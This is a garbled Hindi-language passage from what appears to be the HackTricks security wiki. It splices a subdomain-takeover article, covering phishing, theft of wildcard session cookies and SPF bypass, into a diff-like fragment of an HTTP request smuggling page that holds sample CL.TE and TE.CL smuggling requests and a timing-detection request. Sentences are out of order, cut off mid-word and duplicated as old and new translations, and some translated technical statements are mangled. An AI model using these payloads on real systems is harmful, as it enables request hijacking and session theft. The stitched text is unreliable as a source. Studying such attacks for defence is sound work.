नोट करें कि कदम #7 _sub.example.com_ की बजाय _anotherdomain.com_ का अनुरोध करता है। ऐसा इसलिए है क्योंकि वेब ब्राउज़र को यह पता नहीं है कि _anotherdomain.com_ का अस्तित्व भी है। हालांकि CNAME रिकॉर्ड का उपयोग किया जाता है, ब्राउज़र में URL बार अभी भी _sub.example.com_ को दर्शाता है। यह ब्राउज़र के लिए **पारदर्शिता** है। यदि आप इसके बारे में सोचें, तो ब्राउज़र DNS रिज़ॉल्वर पर सभी भरोसा करता है कि वह डोमेन के बारे में सटीक जानकारी प्रदान करेगा। सरलीकृत, subdomain takeover इंटरनेट पर एक विशेष डोमेन के लिए DNS स्पूफिंग है। क्यों? क्योंकि प्रभावित डोमेन पर DNS रिज़ॉल्यूशन करने वाला कोई भी ब्राउज़र हमलावर द्वारा सेट किए गए A रिकॉर्ड को प्राप्त करता है। ब्राउज़र फिर खुशी से जो कुछ भी इस सर्वर से प्राप्त होता है उसे दिखाता है (सोचता है कि यह वैध है)।
|
||||
### **सुरक्षा उपाय**
|
||||
सुरक्षा उपाय निम्नलिखित शामिल हैं:
|
||||
1. **विकल्पनीय DNS रिकॉर्ड्स को हटाना** - यह प्रभावी है अगर सबडोमेन अब और आवश्यक नहीं है।
|
||||
2. **डोमेन नाम का दावा करना** - संबंधित क्लाउड प्रदाता के साथ पंजीकरण करना या समाप्त होने वाले डोमेन को फिर से खरीदना।
|
||||
3. **संक्षिप्त अनुगमन के लिए** - [aquatone](https://github.com/michenriksen/aquatone) जैसे उपकरण संक्षेपणशील डोमेनों की पहचान करने में मदद कर सकते हैं। संगठनों को अपनी बाधाओं के लिए अपनी बाधाओं की पुनरावृत्ति प्रक्रियाओं की समीक्षा करनी चाहिए, सुनिश्चित करते हुए कि DNS रिकॉर्ड निर्माण संसाधन निर्माण की अंतिम कदम है और संसाधन नाश की पहली कदम है।
|
||||
|
||||
ऐसा डोमेन फ़िशिंग के लिए एकदम सही परिदृश्य बनाता है। हमलावर अक्सर फ़िशिंग उद्देश्यों के लिए वैध डोमेन/वेबसाइट की नकल करने के लिए [_typosquatting_](https://en.wikipedia.org/wiki/Typosquatting) या तथाकथित [_Doppelganger domains_](https://en.wikipedia.org/wiki/Doppelg%C3%A4nger) का उपयोग करते हैं। एक हमलावर के द्वारा किसी वैध डोमेन नाम को अधिग्रहण करने के बाद, एक सामान्य उपयोगकर्ता के लिए यह बताना लगभग असंभव है कि डोमेन पर सामग्री वैध पक्ष द्वारा प्रदान की जाती है या हमलावर द्वारा। उदाहरण के लिए एक यादृच्छिक बैंक लें। यदि बैंक के किसी subdomain को subdomain takeover के लिए संवेदनशील है, तो हमलावर एक HTML फॉर्म बना सकता है जो बैंक के इंटरनेट बैंकिंग सिस्टम के लॉगिन फॉर्म की नकल करता है। फिर, हमलावर स्पीयर फ़िशिंग या मास फ़िशिंग अभियान चला सकता है जिसमें उपयोगकर्ताओं से लॉग इन करने और अपने पासवर्ड बदलने के लिए कहा जाता है। इस स्तर पर, पासवर्ड हमलावर द्वारा पकड़े जाते हैं जो प्रश्न में डोमेन का नियंत्रण रखता है। फ़िशिंग ई-मेल में प्रदान किया गया URL एक बैंक का वैध subdomain है। इसलिए उपयोगकर्ता कुछ दुर्भावनापूर्ण होने का आभास नहीं करते हैं। स्पैम फ़िल्टर और अन्य सुरक्षा उपाय भी ई-मेल को स्पैम या दुर्भावनापूर्ण के रूप में ट्रिगर करने की संभावना कम है क्योंकि इसमें उच्च विश्वास के साथ डोमेन नाम शामिल हैं।
|
||||
क्लाउड प्रदाताओं के लिए, डोमेन स्वामित्व की पुष्टि महत्वपूर्ण है ताकि सबडोमेन टेकओवर को रोका जा सके। कुछ, जैसे [GitLab](https://about.gitlab.com/2018/02/05/gitlab-pages-custom-domain-validation/), इस समस्या को मान्यता देते हैं और डोमेन सत्यापन तंत्र को कार्यान्वित कर चुके हैं।
|
||||
|
||||
वास्तव में, डोमेन नाम स्वयं एक सफल अभियान में महत्वपूर्ण भूमिका निभाता है। 5वें स्तर के subdomain को subdomain takeover के लिए संवेदनशील होना बहुत कम _"वैध"_ है कि कुछ अनुकूल subdomain नाम के साथ 2nd स्तर के subdomain होना। मैंने फ़िशिंग के लिए सही subdomains के कई उदाहरण देखे हैं, जिनमें शामिल हैं:
|
||||
# संदर्भ
|
||||
* [https://0xpatrik.com/subdomain-takeover/](https://0xpatrik.com/subdomain-takeover/)
|
||||
|
||||
* _purchases.SOMETHING.com_
|
||||
* _www.SOMETHING.com_
|
||||
* _online.SOMETHING.com_
|
||||
* _shop.SOMETHING.com_
|
||||
|
||||
इन सभी को subdomain takeover के लिए संवेदनशील पाया गया। ये सभी बड़े ब्रांड थे। फ़िशिंग के बारे में बात करना?
|
||||
|
||||
फिर भी, हाल के फ़िशिंग अभियानों में लंबे डोमेन नामों के साथ डोमेन पर सामग्री होस्ट की जाती है जिसमें ब्रांड का नाम शामिल होता है (देखें [Apple उदाहरण](https://www.phishtank.com/target\_search.php?target\_id=183\&valid=y\&active=All\&Search=Search))। वैध SSL प्रमाणपत्र (इसके बारे में नीचे और अधिक), डोमेन नाम में कीवर्ड और लक्षित ब्रांड की वेबसाइट की नकल करने वाली वेबसाइट के साथ, लोग इन हमलों में फंस जाते हैं। इस ब्रांड के एक वैध subdomain के साथ मौके के बारे में सोचें।
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करके आसानी
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value
|
||||
```
|
||||
यदि यह कुकी _example.com_ पर स्थित वेब सर्वर द्वारा जारी की गई है, तो केवल यह सर्वर बाद में इस कुकी तक पहुँच सकता है। हालांकि, कुकी को वाइल्डकार्ड डोमेन के लिए (ऊपर बताए गए कारणों के लिए) निम्नलिखित तरीके से जारी किया जा सकता है:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Set-Cookie: name=value; domain=example.com
|
||||
```
|
||||
```markdown
|
||||
कुकी HTTP अनुरोधों में _example.com_ के लिए शामिल की जाएगी, लेकिन _subdomain.example.com_ जैसे किसी अन्य सबडोमेन के लिए भी। इस व्यवहार से सबडोमेन टेकओवर का उपयोग करके उच्च गंभीरता के हमलों की संभावना बनती है। मान लीजिए कि किसी विशेष डोमेन में वाइल्डकार्ड डोमेन के लिए सत्र कुकीज़ का उपयोग हो रहा है। यदि कोई एक सबडोमेन सबडोमेन टेकओवर के लिए संवेदनशील है, तो उपयोगकर्ता के सत्र टोकन को एकत्र करने के लिए केवल उसे या उसे संवेदनशील सबडोमेन पर जाने के लिए चालाकी करना है। सत्र कुकी स्वचालित रूप से HTTP अनुरोध के साथ भेजी जाती है।
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें और दुनिया के **सबसे उन्नत समुदाय उपकरणों** द्वारा संचालित **कार्यप्रवाहों** को आसानी से निर्मित करें।\
|
||||
आज ही पहुंच प्राप्त करें:
|
||||
|
||||
ब्राउज़र कुकीज़ के लिए अतिरिक्त सुरक्षा तंत्र भी लागू करता है:
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
* **HttpOnly कुकी** — कुकीज़ को डिफ़ॉल्ट रूप से वेबसाइट द्वारा बनाई गई जावास्क्रिप्ट कोड द्वारा एक्सेस किया जा सकता है। जावास्क्रिप्ट कुकीज़ को पढ़, अपडेट और हटा सकती है। _HttpOnly_ कुकी फ्लैग (वेब सर्वर द्वारा सेट) इंगित करता है कि विशेष कुकी को जावास्क्रिप्ट कोड द्वारा एक्सेस नहीं किया जा सकता है। इसे प्राप्त करने का एकमात्र तरीका HTTP अनुरोध और प्रतिक्रिया हेडर्स के माध्यम से है।
|
||||
* **Secure कुकी** — जब कुकी में वेब सर्वर द्वारा _Secure_ फ्लैग सेट किया जाता है, तो यह केवल HTTPS का उपयोग करते समय वेब सर्वर को वापस संवाद किया जा सकता है।
|
||||
<details>
|
||||
|
||||
यदि डोमेन सबडोमेन टेकओवर के लिए संवेदनशील है, तो हमलावर उस डोमेन द्वारा जारी की गई कुकीज़ को अतीत में उपयोगकर्ताओं को उस वेबसाइट पर जाने के लिए चालाकी करके एकत्र कर सकता है। HttpOnly और Secure फ्लैग मदद नहीं करते हैं क्योंकि कुकी को जावास्क्रिप्ट का उपयोग करके एक्सेस नहीं किया जा रहा है और SSL प्रमाणपत्र को लिए गए डोमेन के लिए आसानी से उत्पन्न किया जा सकता है।
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Arne Swinnen द्वारा बग बाउंटी [रिपोर्ट](https://hackerone.com/reports/172137) में टेकओवर का उपयोग करके कुकी चोरी की व्याख्या की गई थी। रिपोर्ट में _Ubiquiti Networks_ के सबडोमेन (_ping.ubnt.com_) की समस्या की व्याख्या की गई है। यह सबडोमेन सबडोमेन टेकओवर के लिए संवेदनशील था, जो अनक्लेम्ड AWS CloudFront वितरण की ओर इशारा कर रहा था। चूंकि Ubiquiti Networks SSO का उपयोग कर रहा है वाइल्डकार्ड सत्र कुकीज़ के साथ, _ping.ubnt.com_ पर जाने वाले सभी उपयोगकर्ताओं के सत्र कुकीज़ चोरी हो सकती हैं। यद्यपि यह डोमेन AWS CloudFront की ओर इशारा कर रहा है, CloudFront वितरण सेटिंग्स प्रत्येक अनुरोध के साथ कुकीज़ को लॉग करने की अनुमति देती हैं। इसलिए AWS CloudFront की ओर इशारा करने वाले सबडोमेन्स के साथ भी सत्र कुकीज़ को निकालने की परिदृश्य पूरी तरह से संभव है। 2017 में, Arne ने [Uber के SSO सिस्टम](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/) के खिलाफ समान हमला वेक्टर का प्रदर्शन किया।
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
ऊपर समझाया गया व्यवहार केवल कुकीज़ तक सीमित नहीं है। चूंकि जावास्क्रिप्ट स्क्रिप्ट्स को वेबसाइटों पर पूरा नियंत्रण होता है, जिन पर वे चलाए जाते हैं, वैध वेबसाइट पर ऐसी स्क्रिप्ट्स को बदलने की क्षमता विनाशकारी परिणामों की ओर ले जा सकती है। मान लीजिए कि वेबसाइट _script_ टैग और _src_ विशेषता का उपयोग करके बाहरी प्रदाता से जावास्क्रिप्ट कोड का उपयोग कर रही है। जब बाहरी प्रदाता के डोमेन की समाप्ति होती है, तो ब्राउज़र चुपचाप विफल हो जाता है, यानी यह सामान्य उपयोगकर्ताओं के लिए दृश्यमान कोई भी चेतावनी ट्रिगर नहीं करता है। यदि बाहरी कोड कोई महत्वपूर्ण काम नहीं कर रहा है (उदाहरण के लिए, यह केवल ट्रैकिंग के लिए उपयोग किया जाता है) तो ऐसा बाहरी प्रदाता लंबी अवधि के लिए वेबसाइट पर रह सकता है। हमलावर इस समाप्त डोमेन को ले सकता है, प्रदान किए गए जावास्क्रिप्ट कोड के URL पथ से मेल खा सकता है और इस प्रकार मूल वेबसाइट पर जाने वाले हर आगंतुक पर नियंत्रण प्राप्त कर सकता है।
|
||||
|
||||
हालांकि, ब्राउज़र में जावास्क्रिप्ट फ़ाइलों की अखंडता की रक्षा करने का एक तरीका है। _Subresource Integrity_ [का प्रस्ताव किया गया](https://www.w3.org/TR/2016/REC-SRI-20160623/) एक तंत्र के रूप में HTML5 में _script_ टैग के लिए _integrity_ विशेषता के रूप में क्रिप्टोग्राफिक हैश शामिल करने के लिए। जब प्रदान किया गया क्रिप्टोग्राफिक हैश डाउनलोड फ़ाइल से मेल नहीं खाता है, तो ब्राउज़र इसे निष्पादित करने से इनकार कर देता है।
|
||||
|
||||
### ई-मेल्स <a href="#emails" id="emails"></a>
|
||||
|
||||
जब CNAME सबडोमेन टेकओवर संभव है, तो MX रिकॉर्ड्स को भी हमलावर द्वारा किसी मनमाने वेब सर्वर पर सेट किया जा सकता है। यह किसी ब्रांड के वैध सबडोमेन पर ई-मेल्स प्राप्त करने की अनुमति देता है - विशेष रूप से (स्पीयर) फ़िशिंग हमलों में उपयोगी जहां हमलावर और पीड़ित के बीच इंटरैक्शन आवश्यक है। हमलावर आमतौर पर `Return-Path` हेडर को स्पूफ करते हैं ताकि ई-मेल के जवाब को प्राप्त कर सकें। सही MX रिकॉर्ड्स के साथ, यह समस्या दरकिनार की जा सकती है।
|
||||
|
||||
दूसरी ओर, ई-मेल्स भेजना भी संभव है। हालांकि `From` हेडर को किसी भी ई-मेल पते को शामिल करने के लिए स्पूफ करना तुच्छ है, SPF फ़िल्टर्स आमतौर पर `Return-Path` हेडर और डोमेन के लिए अनुमत मेल-भेजने वाले होस्ट्स की जांच करते हैं। SPF DNS TXT रिकॉर्ड्स में कॉन्फ़िगरेशन स्टोर करता है। सबडोमेन टेकओवर के साथ, TXT रिकॉर्ड्स भी हमलावर के नियंत्रण में होते हैं - SPF जांच को आसानी से पास किया जा सकता है।
|
||||
|
||||
_जैसा कि मैंने शुरुआत में नोट किया, ये तकनीक
|
||||
* यदि आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦 [**@
|
||||
|
|
|
@ -2,62 +2,62 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, **The PEASS Family** की खोज करें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा **PRs सबमिट** करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
## क्या है
|
||||
|
||||
यह भेद्यता तब होती है जब **front-end proxies** और **back-end** सर्वर के बीच **असमन्वयन** एक **हमलावर** को HTTP **request** भेजने की अनुमति देता है जिसे **front-end** proxies (load balance/reverse-proxy) द्वारा **एकल request** के रूप में और **back-end** सर्वर द्वारा **2 request** के रूप में **व्याख्या** की जाएगी।\
|
||||
इससे एक उपयोगकर्ता **back-end सर्वर पर अपने बाद आने वाले अगले request को संशोधित करने में सक्षम होता है**।
|
||||
यह सुरक्षा दोष एक **असमंत्रितीकरण** है जो **फ्रंट-एंड प्रॉक्सी** और **बैक-एंड** सर्वर के बीच एक **हमलावर** को एक HTTP **अनुरोध भेजने** की अनुमति देता है जो **फ्रंट-एंड** प्रॉक्सी (लोड बैलेंस/रिवर्स-प्रॉक्सी) द्वारा **एकल अनुरोध** के रूप में **व्याख्या** किया जाएगा और **बैक-एंड** सर्वर द्वारा **2 अनुरोध** के रूप में।\
|
||||
इससे एक उपयोगकर्ता को **अपने बाद आने वाले अगले अनुरोध को संशोधित करने की** अनुमति होती है।
|
||||
|
||||
### सिद्धांत
|
||||
|
||||
[**RFC विनिर्देश (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
[**RFC विनिर्देशन (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> यदि कोई संदेश Transfer-Encoding हेडर फील्ड और Content-Length हेडर फील्ड दोनों के साथ प्राप्त होता है, तो बाद वाले को अनदेखा करना चाहिए।
|
||||
> यदि एक संदेश प्राप्त किया जाता है जिसमें एक ही समय में एक स्थानांतरण-कोडन शीर्षक क्षेत्र और एक सामग्री-लंबाई शीर्षक क्षेत्र दोनों होते हैं, तो दूसरा उसे नजरअंदाज करना चाहिए।
|
||||
|
||||
**Content-Length**
|
||||
**सामग्री-लंबाई**
|
||||
|
||||
> Content-Length इकाई हेडर प्राप्तकर्ता को भेजे गए इकाई-शरीर के आकार को बाइट्स में दर्शाता है।
|
||||
> सामग्री-लंबाई एंटिटी हेडर शीर्षक प्राप्तकर्ता को भेजे गए एंटिटी-बॉडी का आकार, बाइट में, दर्शाता है।
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
**स्थानांतरण-कोडन: टुकड़ा**
|
||||
|
||||
> Transfer-Encoding हेडर पेलोड शरीर को सुरक्षित रूप से उपयोगकर्ता तक पहुँचाने के लिए प्रयुक्त एन्कोडिंग के रूप को निर्दिष्ट करता है।\
|
||||
> Chunked का अर्थ है कि बड़े डेटा को एक श्रृंखला में चंक्स के रूप में भेजा जाता है
|
||||
> स्थानांतरण-कोडन हेडर उपयोगिता को सुरक्षित रूप से उपयोगकर्ता को पेश करने के लिए उपयोगिता के शरीर को स्थानांतरित करने के लिए उपयोग किए जाने वाले कोडन का रूप निर्दिष्ट करता है।\
|
||||
> टुकड़ा यह दर्शाता है कि बड़े डेटा को टुकड़ों में भेजा जाता है
|
||||
|
||||
### वास्तविकता
|
||||
|
||||
**Front-End** (एक load-balance / Reverse Proxy) _**content-length**_ या _**transfer-encoding**_ हेडर को **प्रोसेस** करता है और **Back-end** सर्वर **दूसरे** को प्रोसेस करता है, जिससे दोनों सिस्टमों के बीच **असमन्वयन** होता है।\
|
||||
यह बहुत गंभीर हो सकता है क्योंकि **हमलावर एक ऐसा request भेजने में सक्षम होगा** जिसे reverse proxy द्वारा **व्याख्या** की जाएगी और **back-end** सर्वर इसे **2 अलग-अलग requests** के रूप में **समझेगा**। इस तकनीक का **खतरा** इस तथ्य में निहित है कि **back-end** सर्वर **2nd request को इंजेक्ट किए गए** के रूप में **व्याख्या करेगा** जैसे कि यह **अगले ग्राहक से आया हो** और **वास्तविक request** उस ग्राहक की **इंजेक्ट किए गए request का हिस्सा** होगी।
|
||||
**फ्रंट-एंड** (लोड-बैलेंस / रिवर्स-प्रॉक्सी) **content-length** या **transfer-encoding** हेडर को प्रोसेस करता है और **बैक-एंड** सर्वर **दूसरा** प्रोसेस करता है जिससे 2 सिस्टमों के बीच **असमंत्रितीकरण** होता है।\
|
||||
यह बहुत गंभीर हो सकता है क्योंकि **एक हमलावर को एक अनुरोध भेजने की** अनुमति होगी जो रिवर्स प्रॉक्सी को पूरा अनुरोध भेजेगा और बैक-एंड सर्वर **2 अलग-अलग अनुरोध के रूप में व्याख्या** करेगा। इस तकनीक का खतरा इस तथ्य में निहित है कि **बैक-एंड** सर्वर **2वां अनुरोध इंजेक्ट** को उसके **अगले ग्राहक से आया हुआ** मानेगा और उस ग्राहक का **वास्तविक अनुरोध** **इंजेक्टेड अनुरोध** का हिस्सा होगा।
|
||||
|
||||
### विशेषताएँ
|
||||
|
||||
याद रखें कि HTTP में **नई लाइन चरित्र 2 बाइट्स से बना होता है:**
|
||||
ध्यान रखें कि HTTP में **नया पंक्ति वर्ण 2 बाइटों से बना होता है:**
|
||||
|
||||
* **Content-Length**: यह हेडर एक **दशमलव संख्या** का उपयोग करता है जो request के **शरीर** के **बाइट्स** की **संख्या** को दर्शाता है। शरीर का अंत अंतिम चरित्र में होने की उम्मीद है, **request के अंत में नई लाइन की आवश्यकता नहीं होती**।
|
||||
* **Transfer-Encoding:** यह हेडर **शरीर** में एक **हेक्साडेसिमल संख्या** का उपयोग करता है जो **अगले चंक** के **बाइट्स** की **संख्या** को दर्शाता है। **चंक** को **नई लाइन** के साथ **समाप्त** होना चाहिए लेकिन यह नई लाइन लंबाई संकेतक द्वारा **गिनी नहीं जाती** है। इस ट्रांसफर विधि का अंत **आकार 0 के चंक के साथ होना चाहिए जिसके बाद 2 नई लाइनें हों**: `0`
|
||||
* **Connection**: मेरे अनुभव के आधार पर, request Smuggling के पहले request में **`Connection: keep-alive`** का उपयोग करना सिफारिश की जाती है।
|
||||
* **Content-Length**: यह हेडर एक **दशमलव संख्या** का उपयोग करता है जो प्राप्तकर्ता को भेजे गए अनुरोध के शरीर के **बाइटों** की **संख्या** दर्शाता है। शरीर का अंतिम वर्णात्मक होने की उम्मीद है, **अनुरोध के अंत में नई पंक्ति की आवश्यकता नहीं है**।
|
||||
* **Transfer-Encoding:** यह हेडर **अगले चंक** के **बाइटों की संख्या** दर्शाने के लिए **हेक्साडेसिमल संख्या** का उपयोग करता है। **चंक** को एक **नई पंक्ति** के साथ **समाप्त** होना चाहिए लेकिन इस नई पंक्ति को **लंबाई सूचक से गिना नहीं जाता** है। यह स्थानांतरण विधि को **0 के आकार के चंक के साथ समाप्त करना चाहिए जिसे 2 नई पंक्तियों के साथ अनुसरण किया जाएगा**: `0`
|
||||
* **Connection**: मेरे अनुभव के आधार पर, **`Connection: keep-alive`** का पहले अनुरोध पर अनुशंसित किया जाता है अनुरोध स्मग्लिंग पर।
|
||||
|
||||
## मूल उदाहरण
|
||||
|
||||
तो, request smuggling हमले एक ही HTTP request में `Content-Length` हेडर और `Transfer-Encoding` हेडर दोनों को रखने और इन्हें इस तरह से मैनिपुलेट करने में शामिल हैं ताकि front-end और back-end सर्वर अलग-अलग तरीके से request को प्रोसेस करें। इसे किस तरह से किया जाता है यह दोनों सर्वरों के व्यवहार पर निर्भर करता है:
|
||||
इसलिए, अनुरोध स्मग्लिंग हमलों में `Content-Length` हेडर और `Transfer-Encoding` हेडर दोनों को एक ही HTTP अनुरोध में रखने और इन्हें इस प्रकार से परिवर्तित करने का समावेश करता है ताकि फ्रंट-एंड और बैक-एंड सर्वर अनुरोध को विभिन्नता से प्रोसेस करें। इसे कैसे किया जाता है यह निर्भर करता है दो सर्वरों के व्यवहार पर:
|
||||
|
||||
* **CL.TE**: front-end सर्वर `Content-Length` हेडर का उपयोग करता है और back-end सर्वर `Transfer-Encoding` हेडर का उपयोग करता है।
|
||||
* **TE.CL**: front-end सर्वर `Transfer-Encoding` हेडर का उपयोग करता है और back-end सर्वर `Content-Length` हेडर का उपयोग करता है।
|
||||
* **TE.TE**: front-end और back-end सर्वर दोनों `Transfer-Encoding` हेडर का समर्थन करते हैं, लेकिन सर्वरों में से एक को हेडर को किसी तरह से अस्पष्ट करके प्रोसेस नहीं करने के लिए प्रेरित किया जा सकता है।
|
||||
* **CL.TE**: फ्रंट-एंड सर्वर `Content-Length` हेडर का उपयोग करता है और बैक-एंड सर्वर `Transfer-Encoding` हेडर का उपयोग करता है।
|
||||
* **TE.CL**: फ्रंट-एंड सर्वर `Transfer-Encoding` हेडर का उपयोग करता है और बैक-एंड सर्वर `Content-Length` हेडर का उपयोग करता है।
|
||||
* **TE.TE**: फ्रंट-एंड और बैक-एंड सर्वर दोनों `Transfer-Encoding` हेडर का समर्थन करते हैं, लेकिन इनमें से एक सर्वर कोई भी किसी तरह से हेडर को प्रोसेस न करने के लिए प्रेरित किया जा सकता है।
|
||||
|
||||
### CL.TE भेद्यताएँ
|
||||
### CL.TE सुरक्षात्मकता
|
||||
|
||||
यहाँ, **front-end** सर्वर **`Content-Length`** हेडर का उपयोग करता है और **back-end** सर्वर **`Transfer-Encoding`** हेडर का। हम निम्नलिखित के रूप में एक सरल HTTP request smuggling हमला कर सकते हैं:
|
||||
यहाँ, **फ्रंट-एंड** सर्वर `Content-Length` हेडर का उपयोग करता है और **बैक-एंड** सर्वर `Transfer-Encoding` हेडर का उपयोग करता है। हम निम्नलिखित रूप में एक सरल HTTP अनुरोध स्मग्लिंग हमला कर सकते हैं:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -68,26 +68,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
`GET /404 HTTP/1.1`\
|
||||
`Foo: x`
|
||||
|
||||
ध्यान दें कि `Content-Length` इंगित करता है कि **बॉडीज़ request की लंबाई 30 बाइट्स लंबी है** (_याद रखें कि HTTP नई लाइन के रूप में उपयोग करता है, इसलिए प्रत्येक नई लाइन 2बाइट्स_), इसलिए reverse proxy **पूरा request back-end को भेज देगा**, और back-end `Transfer-Encoding` हेडर को प्रोसेस करेगा जिससे `GET /404 HTTP/1.1` **अगले request की शुरुआत के रूप में छोड़ दिया जाएगा** (वैसे, अगला request `Foo:x<Next request starts here>` से जुड़ा होगा)।
|
||||
|
||||
### TE.CL भेद्यताएँ
|
||||
|
||||
यहाँ, front-end सर्वर `Transfer-Encoding` हेडर का उपयोग करता है और back-end सर्वर `Content-Length` हेडर का। हम निम्नलिखित के रूप में एक सरल HTTP request smuggling हमला कर सकते हैं:
|
||||
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
`Content-Length: 4`\
|
||||
`Connection: keep-alive`\
|
||||
`Transfer-Encoding: chunked`\
|
||||
``\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\``\
|
||||
`x=`\
|
||||
`0`\
|
||||
`\`
|
||||
|
||||
इस मामले में **reverse-proxy** **पूरा request back-end को भेज देगा** क्योंकि **`Transfer-encoding`** ऐसा इंगित करता है। लेकिन, **back-end** केवल **`7b`** (4बाइट्स) को प्रोसेस करेगा जैसा कि `Content-Length` में इंगित है। इसलिए, अगला request वह होगा जो `GET /404 HTTP/1.1` से शुरू होता है।
|
||||
|
||||
_ध्यान दें कि भले ही हमला `0` के साथ समाप्त होना चाहिए, अगला request **x** पैरामीटर के अतिरिक्त मानों के रूप में जोड़ा जाएगा।_\
|
||||
_यह भी ध्यान दें कि एम्बेडेड request का Content-Length अगले request की लंबाई को इंगित करेग
|
||||
ध्यान दें कि `Content-Length` दर्शाता है कि **बॉडी अनुरोध की लंबाई 30 बाइट है** (_याद रखें कि HTTP नई पंक्ति के रूप में उपयोग करता है, इसलिए प्रत्येक नई पंक्ति के लिए 2 बाइट होते हैं_), इसलिए रिवर्स प्रॉक्सी **पूरे अनुरोध को बैक-एंड भेजेगा** और बैक-एंड `Transfer-Encoding` हेडर को प्रोसेस करके `GET /404 HTTP/1.1` को **अगले अनुरोध की शुरुआत** के रूप में छोड़ देगा (बारीकी से, अगला अनुरोध `Foo:x<अगला अनुरोध यहाँ से शुरू होत
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -99,19 +80,19 @@ Content-Length: 4
|
|||
A
|
||||
0
|
||||
```
|
||||
चूंकि फ्रंट-एंड सर्वर `Content-Length` हेडर का उपयोग करता है, यह केवल इस अनुरोध का एक हिस्सा आगे भेजेगा, `0` को छोड़कर। बैक-एंड सर्वर `Transfer-Encoding` हेडर का उपयोग करता है, पहले चंक को प्रोसेस करता है, और फिर अगले चंक के आने का इंतजार करता है। इससे एक परिलक्षित समय देरी होगी।
|
||||
